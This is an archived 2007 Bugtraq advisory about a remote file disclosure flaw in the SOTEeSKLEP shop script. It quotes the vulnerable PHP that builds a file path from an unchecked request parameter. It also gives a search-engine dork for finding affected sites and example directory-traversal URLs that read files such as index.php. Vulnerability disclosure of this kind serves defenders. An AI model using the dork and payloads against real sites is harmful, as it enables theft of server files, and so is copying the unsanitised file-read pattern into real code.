lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20070813123741.18623.qmail@securityfocus.com>
Date: 13 Aug 2007 12:37:41 -0000
From: theoden@...eria.pl
To: bugtraq@...urityfocus.com
Subject: SOTEeSKLEP Remote File Disclosure Vulnerability

SOTEeSKLEP Remote File Disclosure Vulnerability

Script : SOTEeSKLEP

Versions: 3.1RC8, 3.5RC1, 3.5RC4, 3.5RC9, and i think other.

Site : http://www.sote.pl

Bug:

...
if (! empty($_REQUEST["file"])) { $file=$_REQUEST['file']; }
...
$file_path="$DOCUMENT_ROOT/themes/_$config->lang/_html_files/$file";
if (file_exists($file_path)) { $fd=fopen($file_path,"r");
$data=fread($fd,filesize($file_path));
print $data;
fclose($fd); 
}
...

Dork: inurl:"/go/_files/?file="

Examples: 
http://???/go/_files/?file=./.././.././.././
http://???/go/_files/?file=./.././.././.././go/_files/index.php

Discovered by dun
2007.08.11 

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ